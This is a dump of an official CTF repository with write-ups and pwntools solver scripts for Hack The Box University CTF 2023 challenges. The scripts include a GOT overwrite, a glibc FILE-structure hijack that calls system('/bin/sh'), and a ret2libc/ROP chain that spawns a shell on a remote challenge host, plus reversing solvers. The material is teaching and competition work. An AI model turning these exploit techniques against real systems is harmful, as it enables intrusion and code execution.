https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold3.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold4.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold5.png
--------------------------------------------------------------------------------
/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/fullpwn/Umbrella/Umbrella.assets/foothold6.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Easy] Great Old Talisman/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 |
4 |
5 | Great Old Talisman
6 |
7 | 9th October 2023 / Document No. DYY.102.XX
8 |
9 | Prepared By: w3th4nds
10 |
11 | Challenge Author(s): w3th4nds
12 |
13 | Difficulty: Easy
14 |
15 | Classification: Official
16 |
17 |
18 |
19 |
20 |
21 | # Synopsis
22 |
23 | Great Old Talisman is an easy difficulty challenge that features overwriting `exit@GOT` with the address of the function that reads the flag.
24 |
25 | # Description
26 |
27 | Zombies are closing in from all directions, and our situation appears dire! Fortunately, we've come across this ancient and formidable Great Old Talisman, a source of hope and protection. However, it requires the infusion of a potent enchantment to unleash its true power.
28 |
29 | ## Skills Required
30 |
31 | - `RelRO`, `GOT table`.
32 |
33 | ## Skills Learned
34 |
35 | - Overwrite the address of a function in the `GOT table` with another address.
36 |
37 | # Enumeration
38 |
39 | First of all, we start with a `checksec`:
40 |
41 | ```console
42 | pwndbg> checksec
43 | RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY FortifiedFortifiable FILE
44 | Partial RELRO Canary found NX enabled No PIE No RPATH RW-RUNPATH 55) Symbols No 0
45 | ```
46 |
47 | ### Protections 🛡️
48 |
49 | As we can see:
50 |
51 | | Protection | Enabled | Usage |
52 | | :---: | :---: | :---: |
53 | | **Canary** | ✅ | Prevents **Buffer Overflows** |
54 | | **NX** | ✅ | Disables **code execution** on stack |
55 | | **PIE** | ❌ | Randomizes the **base address** of the binary |
56 | | **RelRO** | **Partial** | Makes some binary sections **read-only** |
57 |
58 | As we can see, there is no `PIE` and `RelRO` is `Partial` instead of `Full`. Also, the name **G**reat **O**ld **T**alisman, refers to `GOT`, hinting us that the challenge is most likely vulnerable to `GOT` overwrite.
59 |
60 | The program's interface
61 |
62 | ```console
63 | |
64 | |
65 | |
66 | |
67 | |
68 | ___|___
69 | .d$$$******$$$$c.
70 | .d$P' '$$c
71 | $$$$$. .$$$*$.
72 | .$$ 4$L*$$. .$$Pd$ '$b
73 | $F *$. '$$e.e$$' 4$F ^$b
74 | d$ $$ z$$$e $$ '$.
75 | $P `$L$$P` `'$$d$' $$
76 | $$ e$$F 4$$b. $$
77 | $b .$$' $$ .$$ '4$b. $$
78 | $$e$P' $b d$` '$$c$F
79 | '$P$$$$$$$$$$$$$$$$$$$$$$$$$$
80 | '$c. 4$. $$ .$$
81 | ^$$. $$ d$' d$P
82 | '$$c. `$b$F .d$P'
83 | `4$$$c.$$$..e$$P'
84 | `^^^^^^^`'
85 |
86 | This Great Old Talisman will protect you from the evil powers of zombies!
87 |
88 | Do you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)
89 |
90 | >> 1
91 |
92 | Spell: hackthebox
93 | ```
94 |
95 | ### Disassembly
96 |
97 | Starting with `main()`:
98 |
99 | ```c
100 | void main(void)
101 |
102 | {
103 | long in_FS_OFFSET;
104 | int local_14;
105 | undefined8 local_10;
106 |
107 | local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
108 | setup();
109 | banner();
110 | printf(
111 | "\nThis Great Old Talisman will protect you from the evil powers of zombies!\n\nDo you want to enchant it with a powerful spell? (1 -> Yes, 0 -> No)\n\n>> "
112 | );
113 | __isoc99_scanf(&DAT_00402376,&local_14);
114 | printf("\nSpell: ");
115 | read(0,talis + (long)local_14 * 8,2);
116 | /* WARNING: Subroutine does not return */
117 | exit(0x520);
118 | }
119 | ```
120 |
121 | The challenge is pretty small and straightforward. There is a `scanf("%d", local_14);` that reads an integer and then a `read(0,talis + (long)local_14 * 8,2);`
122 |
123 | ### Debugging
124 |
125 | As we can see, there is no `return`, only `exit(0x520)`. Also, no overflow occurs anywhere, meaning the easiest way to proceed is by overwriting the address of `exit@GOT` with the address of `read_flag()`.
126 |
127 | ```c
128 | void read_flag(void)
129 |
130 | {
131 | ssize_t sVar1;
132 | long in_FS_OFFSET;
133 | char local_15;
134 | int local_14;
135 | long local_10;
136 |
137 | local_10 = *(long *)(in_FS_OFFSET + 0x28);
138 | local_14 = open("./flag.txt",0);
139 | if (local_14 < 0) {
140 | perror("\nError opening flag.txt, please contact an Administrator.\n");
141 | /* WARNING: Subroutine does not return */
142 | exit(1);
143 | }
144 | while( true ) {
145 | sVar1 = read(local_14,&local_15,1);
146 | if (sVar1 < 1) break;
147 | fputc((int)local_15,stdout);
148 | }
149 | close(local_14);
150 | if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
151 | /* WARNING: Subroutine does not return */
152 | __stack_chk_fail();
153 | }
154 | return;
155 | }
156 | ```
157 |
158 | This function is the goal as it prints the flag. The only thing we need to understand to proceed, is what the `talis` global variable is and where it's stored. It's obvious that whatever we insert in the `scanf`, will be stored in `local_14`. After that, it reads up to 2 bytes in the address `talis` + `local_14 * 8`. Checking the address of `exit@GOT` and `talis` we see this:
159 |
160 | ```console
161 | exit@GOT : 0x404080
162 | Talis addr: 0x4040a0
163 | ```
164 |
165 | So, if we subtract the address of `exit@GOT` and `talis`, and divide them by `8`, we get the right offset to overwrite the `exit@GOT`.
166 |
167 | ```python
168 | off = -(talis - exit) // 8
169 | ```
170 |
171 | `PIE` is disabled and all the functions are known, making it easy to proceed with our exploit.
172 |
173 | # Solution
174 |
175 | ```console
176 | Running solver remotely at 0.0.0.0 1337
177 |
178 | exit@GOT : 0x404080
179 | Talis addr: 0x4040a0
180 |
181 | Flag --> HTB{f4k3_fl4g_4_t35t1ng}
182 | ```
183 |
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Easy] Great Old Talisman/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Easy] Great Old Talisman/htb/solver.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3.8
2 | from pwn import *
3 | import warnings
4 | import os
5 | warnings.filterwarnings('ignore')
6 | context.arch = 'amd64'
7 | context.log_level = 'critical'
8 |
9 | fname = './great_old_talisman'
10 |
11 | LOCAL = False
12 |
13 | os.system('clear')
14 |
15 |
16 | r = remote('94.237.59.206', 56087)
17 |
18 | e = ELF(fname)
19 |
20 | # Find addresses
21 | exit = e.got.exit
22 | talis = e.sym.talis
23 | print(f'exit@GOT : {exit:#04x}\nTalis addr: {talis:#04x}')
24 |
25 | # Calculate offset and GOT overwrite exit
26 | off = -(talis - exit) // 8
27 | r.sendlineafter('>> ', str(off))
28 | r.sendlineafter(': ', p64(e.sym.read_flag))
29 |
30 | # Get flag
31 | print(f'\nFlag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/checksec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/checksec.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/flag.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb1.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb2.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb3.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb4.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/gdb5.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/interface.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/interface.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/libc_version.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Hard] Zombiedote/assets/libc_version.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/htb/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | $(info [*] Run in Docker...)
3 | gcc -fPIE -Wl,-z,relro,-z,now -o zombiedote ../src/main.c
4 |
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/htb/fuzz.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from pwn import *
3 |
4 | lst = []
5 |
6 | def loop(ii):
7 | r = ELF('./chall',checksec=False).process()
8 | r.sendlineafter(b'unlock:', f'%{ii}$p'.encode())
9 | r.recvuntil(b'Trying code ')
10 | lst.append(f'{ii:03d} : {r.recvline().split(b".")[0]}')
11 | r.close()
12 |
13 | if __name__ == '__main__':
14 | for i in range(1, 100):
15 | loop(i)
16 | print('\n'.join(lst))
17 |
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/htb/setup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | NAME="zombiedote"
3 | PATCHED_NAME=$NAME"_patched"
4 |
5 | echo "[*] Re-linking..."
6 | pwninit --no-template --bin $NAME --libc glibc/libc.so.6 --ld glibc/ld-2.34.so
7 | rm $NAME && mv $PATCHED_NAME $NAME
8 |
9 | echo "[*] Setting up challenge/ ..."
10 | cp $NAME ../challenge/
11 | cp -r glibc/ ../challenge/
12 |
13 | echo "[*] Setting up release/ ..."
14 | mkdir -p challenge/
15 | cp $NAME challenge/
16 | cp -r glibc/ challenge/
17 | zip -r "$NAME.zip" challenge/ build-docker.sh Dockerfile
18 | mv "$NAME.zip" ../release/
19 |
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Hard] Zombiedote/htb/solver.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import struct
3 | from pwn import *
4 | #context.terminal = ['tmux', 'splitw'] # horizontal split
5 | #context.terminal = ['tmux', 'splitw', '-h'] # vertical split
6 | context.terminal = ['gnome-terminal', '-e'] # new terminal
7 |
8 | DEBUG = os.getenv('DEBUG', '0') == '1'
9 | REMOTE = os.getenv('REMOTE', '0') == '1'
10 |
11 | r = remote('94.237.59.206', 48167)
12 | # REMOTE=1 && python solver.py
13 |
14 | def genlist(d, _max=None):
15 | m = max(d.keys()) if _max is None else _max
16 | lst = []
17 | for idx in range(0, m+1, 8):
18 | if idx in d.keys():
19 | if isinstance(d[idx], int): lst.append(d[idx])
20 | elif isinstance(d[idx], bytes): lst.append(u64(d[idx].ljust(8, b'\x00')))
21 | else: raise Exception(f'[!] Unsupported type by genlist(): {type(d[idx])}')
22 | else:
23 | lst.append(0)
24 | return lst
25 |
26 | # there has to be a better way
27 | def val2double(x):
28 | return str(struct.unpack("d", p64(x))[0]).encode()
29 |
30 | def double2val(x):
31 | return struct.unpack('> ', b'1')
47 | r.sendlineafter(b': ', str(0x1000000//8).encode())
48 |
49 | # Inspect - GLibc leak
50 | if REMOTE: off = 0x1003ff0 # docker offset (chunk to libc base when mmaped)
51 | else: off = 0x1000ff0 # local offset
52 | leak_target = off + libc.sym._IO_2_1_stdout_ + 0x8
53 | assert off%8 == 0, "Cannot div off by 8"
54 | r.sendlineafter(b'>> ', b'5')
55 | r.sendlineafter(b'inspect: ', str(leak_target//8).encode())
56 | r.recvuntil(b'): ')
57 | libc.address = double2val(float(r.recvline())) - 0x2197e3
58 |
59 | __GI__IO_file_jumps = libc.sym.__GI__IO_file_jumps
60 | _IO_list_all = libc.sym._IO_list_all
61 | system = libc.sym.system
62 | print('\nGlibc Addresses Calculated:\n'
63 | f' libc @ {hex(libc.address)}\n'
64 | f'__GI__IO_file_jumps @ {hex(__GI__IO_file_jumps)}\n'
65 | f' _IO_list_all @ {hex(_IO_list_all)}\n'
66 | f' __libc_system @ {hex(system)}\n')
67 |
68 | chunk_addr = libc.address - off
69 | print(f'heap chunk @ {hex(chunk_addr)}')
70 |
71 | # not all fields need to be filled - README for offsets
72 | # populating (_flags), _IO_write_base, _IO_write_ptr, and *vtable*
73 | # "/bin/sh\x00" @ chunk addr
74 | fakeFILE = {
75 | 0x00: b'/bin/sh\x00',
76 | 0x20: 0x01, # _IO_write_base -> must set ptr > base
77 | 0x28: 0x02, # _IO_write_ptr
78 | 0xc4+20: __GI__IO_file_jumps # FILE vtable
79 | }
80 | fakeFILE = list(map(val2double, genlist(fakeFILE)))
81 |
82 | # Insert - Place fake FILE on chunk
83 | r.sendlineafter(b'>> ', b'2')
84 | r.sendlineafter(b': ', str(len(fakeFILE)).encode())
85 | for val in fakeFILE: r.sendlineafter(b'): ', val)
86 |
87 | # __GI__IO_file_jumps' __overflow() ptr overwrite
88 | # __GI__IO_file_jumps+0x18 -> system
89 | # _IO_list_all -> chunk w/ fake FILE
90 | writes = [(__GI__IO_file_jumps+0x18, system),
91 | (_IO_list_all, chunk_addr)]
92 |
93 | # Offsets relative to chunk addr
94 | writes = [(key-chunk_addr, val) for key, val in writes]
95 | assert all([w[0]%8 == 0 for w in writes]), "Cannot div write by 8"
96 |
97 | # Edit twice - GLibc overwrites
98 | for w in writes:
99 | r.sendlineafter(b'>> ', b'4')
100 | r.sendlineafter(b': ', str(w[0]//8).encode()) # addr
101 | r.sendlineafter(b'): ', val2double(w[1])) # overwrite value
102 |
103 | # delete to exit and trigger exploit
104 | # system("/bin/sh") call
105 | r.sendlineafter(b'>> ', b'3')
106 | r.recv() # cleanup
107 | print('** SHELL **')
108 | r.interactive()
109 |
110 | if __name__ == '__main__':
111 | exploit()
112 |
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Medium] Zombienator/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Medium] Zombienator/assets/banner.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Medium] Zombienator/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/uni-ctf-2023/b3583f2c204b54c7ea394143122ddd2a545dc3ec/uni-ctf-2023/pwn/[Medium] Zombienator/assets/htb.png
--------------------------------------------------------------------------------
/uni-ctf-2023/pwn/[Medium] Zombienator/htb/solver.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | from pwn import *
3 | from tqdm import tqdm
4 | import warnings
5 | import os
6 | warnings.filterwarnings('ignore')
7 | context.arch = 'amd64'
8 | context.log_level = 'critical'
9 |
10 | fname = './zombienator'
11 |
12 | # fclose cannot be bypassed locally
13 | LOCAL = False
14 |
15 | r = remote('94.237.59.206', 46051)
16 |
17 | e = ELF(fname)
18 | libc = ELF(e.runpath.decode() + 'libc.so.6')
19 |
20 | rl = lambda : r.recvline()
21 | sl = lambda x : r.sendline(x)
22 | ru = lambda x : r.recvuntil(x)
23 | sla = lambda x,y : r.sendlineafter(x,y)
24 |
25 | r.timeout = 0.3
26 |
27 | def create(tier, pos):
28 | #sleep(0.1)
29 | sla('>> ', '1')
30 | sla('tier: ', str(tier))
31 | sla('5-9): ', str(pos))
32 |
33 | def remove(pos):
34 | #sleep(0.1)
35 | sla('>> ', '2')
36 | sla('position: ', str(pos))
37 |
38 | # To send payload in double format
39 | def fmt(payload):
40 | sla(': ', repr(struct.unpack("d", p64(payload))[0]))
41 |
42 | # Make 9 allocations
43 | print('[+] Creating Zombienators..\n')
44 | [create(128, i) for i in tqdm (range(9))]
45 | print('\n[*] Done!\n')
46 |
47 | # Free 8 items
48 | print('[-] Deleting Zombienators..\n')
49 | [remove(i) for i in tqdm (range(8))]
50 | print('\n[*] Done!\n')
51 |
52 | # Leak libc address
53 | sla('>> ', '3')
54 | ru('Slot [7]: ')
55 | libc.address = int(u64(rl().strip().ljust(8, b'\x00'))) - 0x219ce0
56 | print(f'Libc base: {libc.address:#04x}')
57 | if libc.address & 0xfff != 000:
58 | print('\nLibc does not end in 000\n')
59 | r.close()
60 | exit()
61 | rop = ROP(libc, base=libc.address)
62 |
63 | # Perform ret2libc abusing the scanf("%ld")
64 | loops = 38
65 | sla('>> ', '4')
66 | sla('attacks: ', str(loops))
67 |
68 | # Fill the buffer and bypass canary
69 | [sla(': ', '-') for i in range(loops-5)]
70 | sla(': ', '-')
71 |
72 | '''
73 | Use og with these conditions met.
74 | The only condition that is not met is rbp == NULL,
75 | so we find a pop rbp ; ret gadget from libc
76 |
77 | 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
78 | constraints:
79 | rsp & 0xf == 0
80 | rcx == NULL
81 | rbp == NULL || (u16)[rbp] == NULL
82 | '''
83 |
84 | # pop rbp ; ret 0x2a2e0
85 | fmt(rop.find_gadget(['ret'])[0])
86 | fmt(libc.address + 0x2a2e0)
87 | fmt(0)
88 | fmt(libc.address + 0x50a47)
89 |
90 | # Bypass stderr and stdout to get flag
91 | pause(1)
92 | sl('cat flag*>&0')
93 | r.interactive()
94 |
95 |
--------------------------------------------------------------------------------
/uni-ctf-2023/rev/[Easy] WindowOfOpportunity/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | WindowOfOpportunity
4 |
5 | 5th 12 23 / Document No. D23.102.XX
6 |
7 | Prepared By: clubby789
8 |
9 | Challenge Author: clubby789
10 |
11 | Difficulty: Easy
12 |
13 | Classification: Official
14 |
15 |
16 |
17 |
18 |
19 |
20 | # Synopsis
21 |
22 | WindowOfOpportunity is an Easy reversing challenge. Players will reverse a flag checking algorithm and write a brute-force or Z3 solver.
23 |
24 | ## Skills Required
25 | - Decompiler usage
26 | ## Skills Learned
27 | - Z3py usage
28 |
29 | # Solution
30 |
31 | If we run the binary, we're prompted for a password. Entering a random string gives us an error and the binary exits.
32 |
33 | ## Analysis
34 |
35 | ```c
36 | int32_t main()
37 | puts(str: "A voice comes from the window... 'Password?'")
38 | char buf[0x2a]
39 | fgets(buf: &buf, n: 0x2a, fp: stdin)
40 | int32_t i = 0
41 | int32_t ret
42 | while (true) {
43 | if (i u> 0x24) {
44 | puts(str: "The window opens to allow you passage...")
45 | ret = 0
46 | break
47 | }
48 | if (buf[sx.q(i + 1)] + buf[sx.q(i)] != arr[sx.q(i)]) {
49 | puts(str: "The window slams shut...")
50 | ret = -1
51 | break
52 | }
53 | i = i + 1
54 | }
55 | return ret
56 | ```
57 |
58 | After receiving the password, we loop from 0 to 0x24. For each value, we add together the `i`th and `i+1`th characters of the input, comparing it to a constant byte array value in `arr`.
59 |
60 | The binary is creating a sliding window of size 2 over the input, and summing the values to compare against a constant. To solve this, we can either bruteforce byte-by-byte, or use a symbolic solution with Z3 py.
61 |
62 | First we'll need to extract the bytes from the `arr` array into our script:
63 |
64 | ```py
65 | sums = [ ... ]
66 | ```
67 |
68 | We'll then prepare our Z3 solver and input
69 | ```py
70 | from z3 import *
71 | s = Solver()
72 | # Create symbolic input 8-bit values to represent the password
73 | inp = [BitVec(f"flag_{i}", 8) for i in range(len(sums) + 1)]
74 | ```
75 |
76 | We now need to add some constraints - we know from the flag format the password will begin `HTB{`.
77 | ```py
78 | for i, c in enumerate(b"HTB{"):
79 | s.add(inp[i] == c)
80 | ```
81 |
82 | We now just need to implement the sliding window, and constrain our solver using it.
83 | ```py
84 | for i in range(len(sums)):
85 | s.add(inp[i] + inp[i+1] == sums[i])
86 | ```
87 |
88 | We're now ready to evaluate our model, convert each symbolic value to a byte and print out the flag.
89 |
90 | ```py
91 | print(s.check())
92 | m = s.model()
93 | bs = [m.eval(i).as_long() for i in inp]
94 | print(bytes(bs))
95 | ```
--------------------------------------------------------------------------------
/uni-ctf-2023/rev/[Easy] WindowOfOpportunity/htb/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | from z3 import *
4 |
5 | s = Solver()
6 | sums = [0x9c,0x96,0xbd,0xaf,0x93,0xc3,0x94,0x60,0xa2,0xd1,0xc2,0xcf,0x9c,0xa3,0xa6,0x68,0x94,0xc1,0xd7,0xac,0x96,0x93,0x93,0xd6,0xa8,0x9f,0xd2,0x94,0xa7,0xd6,0x8f,0xa0,0xa3,0xa1,0xa3,0x56,0x9e]
7 | inp = [BitVec(f"flag_{i}", 8) for i in range(len(sums)+1)]
8 | for i, c in enumerate(b"HTB{"):
9 | s.add(inp[i] == c)
10 |
11 | for i in range(len(sums)):
12 | s.add(inp[i] + inp[i+1] == sums[i])
13 | print(s.check())
14 | m = s.model()
15 | bs = [m.eval(i).as_long() for i in inp]
16 | print(bytes(bs))
17 |
--------------------------------------------------------------------------------
/uni-ctf-2023/rev/[Hard] RiseFromTheDead/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | RiseFromTheDead
4 |
5 | 22nd 11 23 / Document No. D23.102.XX
6 |
7 | Prepared By: clubby789
8 |
9 | Challenge Author: clubby789
10 |
11 | Difficulty: Hard
12 |
13 | Classification: Official
14 |
15 | # Synopsis
16 |
17 | RiseFromTheDead is a Hard reversing challenge. Players will reverse engineer a binary in order to understand an encoding scheme, then use a core dump to recover the original flag.
18 |
19 | ## Skills Required
20 | - Decompiler usage
21 | - Basic data structure knowledge
22 | ## Skills Learned
23 | - Core file analysis
24 | - Pwntools automation
25 |
26 | # Solution
27 |
28 | We're given a binary and a core dump for it.
29 |
30 | ## Analysis
31 |
32 | We'll begin by opening the provided binary in a decompiler.
33 |
34 | ```c
35 | int32_t main(int32_t argc, char** argv, char** envp)
36 |
37 | int32_t ret
38 | if (argc s<= 1) {
39 | char const* const rdx_1 = "./program"
40 | if (argc == 1) {
41 | rdx_1 = *argv
42 | }
43 | fprintf(stream: stderr, format: "Usage: %s \n", rdx_1)
44 | ret = -1
45 | } else {
46 | int32_t fd = open(file: argv[1], oflag: 0)
47 | ret = fd
48 | if (fd == 0xffffffff) {
49 | perror(s: "Opening file")
50 | } else {
51 | // PROT_READ|PROT_WRITE, MAP_PRIVATE
52 | char* flag = mmap(addr: nullptr, len: 0x1000, prot: 3, flags: 2, fd, offset: 0)
53 | if (flag == 0) {
54 | perror(s: "Mapping file")
55 | ret = -1
56 | } else {
57 | char* newline = strchr(flag, '\n')
58 | if (*newline != 0) {
59 | *newline = ' '
60 | }
61 | memset(flag + 256, 0, 0x1000 - 256);
62 | void** rax_3 = init_shuffle_list(flag)
63 | memset(flag, 0, 256);
64 | shuf(rax_3, flag)
65 | puts(str: flag)
66 | kill(0, 0xb)
67 | ret = 0
68 | }
69 | }
70 | }
71 | return ret
72 | ```
73 |
74 | This opens up some file (presumably the flag) and mmaps it into memory as a writable buffer, removing any trailing newline and anything beyond 256 characters.
75 |
76 | We then call `init_shuffle_list` using the flag, before clearing the whole flag buffer and calling `shuf` on it with the result of `init_shuffle_list`. Finally, we print the new value of `flag` before issuing a SIGSEGV to dump the core.
77 |
78 | ### `init_shuffle_list`
79 |
80 | ```c
81 | struct SomeStruct* init_shuffle_list(char* flag)
82 |
83 | int32_t fd = open(file: "/dev/urandom", oflag: 0)
84 | struct SomeStruct* ss = nullptr
85 | char* i = flag
86 | do {
87 | uint8_t num
88 | read(fd, buf: &num, nbytes: 1)
89 | while (true) {
90 | num = zx.q(num)
91 | if (pos_in_list(ss, (num.d).b) == 0) {
92 | break
93 | }
94 | read(fd, buf: &num, nbytes: 1)
95 | }
96 | append_list(&ss, (num.d).b, *i)
97 | i = &i[1]
98 | } while (i != &flag[0x100])
99 | close(fd)
100 | return ss
101 | ```
102 |
103 | We iterate over each character of the flag. We repeatedly get a random byte from `/dev/urandom` and check if it's in a list already. If it is not, we add the number and current flag character to the list.
104 |
105 | ### `pos_in_list` and `append_list`
106 |
107 | ```c
108 | bool pos_in_list(struct SomeStruct* arg1, uint8_t pos)
109 |
110 | if (arg1 == 0) {
111 | return 0
112 | }
113 | do {
114 | if (arg1->pos == pos) {
115 | return 1
116 | }
117 | arg1 = arg1->next
118 | } while (arg1 != 0)
119 | return 0
120 | ```
121 |
122 | From this we can see that `SomeStruct` is a linked list structure. We iterate forward until finding a null `next`. If any entries in the list have a matching `pos` value we return true.
123 |
124 | ```c
125 | struct SomeStruct* append_list(struct SomeStruct** head, uint8_t pos, char chr)
126 | struct SomeStruct* cur = *head
127 | struct SomeStruct* new_head
128 | if (cur == 0) {
129 | new_head = malloc(bytes: 0x10)
130 | new_head->next = 0
131 | new_head->pos = pos
132 | new_head->chr = chr
133 | *head = new_head
134 | } else {
135 | struct SomeStruct* new_cur
136 | do {
137 | new_cur = cur
138 | cur = cur->next
139 | } while (cur != 0)
140 | struct SomeStruct* next = malloc(bytes: 0x10)
141 | new_cur->next = next
142 | next->next = 0
143 | new_cur->next->pos = pos
144 | new_head = new_cur->next
145 | new_head->chr = chr
146 | }
147 | return new_head
148 | ```
149 |
150 | We can add a `chr` field to the end of our structure which contains the character given. This is a simple linked list append, initialising the head of the list if it is currently `NULL`.
151 |
152 | ### `shuf`
153 |
154 | ```c
155 | void shuf(struct SomeStruct* arg1, char* buffer)
156 |
157 | if (arg1 != 0) {
158 | do {
159 | buffer[zx.q(arg1->pos)] = arg1->chr
160 | arg1->chr = 0
161 | arg1 = arg1->next
162 | } while (arg1 != 0)
163 | }
164 | ```
165 |
166 | For each entry in the linked list, we set `buffer[pos]` to `chr`, before setting the `chr` field to 0 and going to the next entry.
167 |
168 | This program effectively generates a list of 256 unique positions associated with a character, then places them into a buffer in the newly generated order.
169 |
170 | ## Recovering the flag
171 |
172 | The linked list still exists at the time the program crashes, meaning that we are able to parse the core file and retrieve the order of the list. However, the binary is optimised and the pointer to the list does not exist on the stack. We'll have to scan through memory to locate it.
173 |
174 | We'll use `pwntools` `corefile` module to examine the file. First, we need to open it and scan through memory mappings to find the heap, the first mapping in memory that isn't associated with a file.
175 |
176 | ```py
177 | from pwn import *
178 |
179 | core = Corefile("./core")
180 | for mem in core.mappings:
181 | if mem.name == '':
182 | heap = mem
183 | break
184 | else:
185 | print("heap not found")
186 | exit()
187 | ```
188 |
